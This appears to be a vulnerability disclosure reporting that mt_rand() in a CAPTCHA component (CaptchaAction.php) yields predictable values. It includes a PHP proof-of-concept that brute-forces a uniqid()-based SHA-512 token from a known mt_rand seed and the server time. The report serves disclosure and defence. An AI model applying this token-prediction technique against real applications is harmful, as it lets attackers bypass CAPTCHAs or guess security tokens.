✍️ Description

Insecure randomness errors occur when a function that can produce predictable values is used as a source of randomness in security-sensitive context.

In this case the function that generates weak random numbers is mt_rand() in CaptchaAction.php at line 217.

🕵️‍♂️ Proof of Concept

 <?php
echo PHP_EOL;

/**
 * Generate token to crack without leaking microtime
 */
mt_srand(1361723136.7);
$token = hash('sha512', uniqid(mt_rand()));

/**
 * Now crack the Token without the benefit of microsecond measurement
 * but remember we get seconds from HTTP Date header and seed for
 * mt_rand() using earlier attack scenario ;)
 */
$httpDateSeconds = time();
$bruteForcedSeed = 1361723136.7;
mt_srand($bruteForcedSeed);
$prefix = mt_rand();

/**
 * Increment HTTP Date by a few seconds to offset the possibility of
 * us crossing the second tick between uniqid() and time() calls.
 */
for ($j=$httpDateSeconds; $j < $httpDateSeconds+2; $j++) {
    for ($i=0; $i < 1000000; $i++) {
        /** Replicate uniqid() token generator in PHP */
        $guess = hash('sha512', sprintf('%s%8x%5x', $prefix, $j, $i));
        if ($token == $guess) {
            echo PHP_EOL, 'Actual Token: ', $token, PHP_EOL,
                'Forced Token: ', $guess, PHP_EOL;
            exit(0);
        }
        if (($i % 20000) == 0) {
            echo '~';
        }
    }
}

💥 Impact

The random number generator implemented by mt_rand() cannot withstand a cryptographic attack, it is easy for an attacker to guess the strings it generates.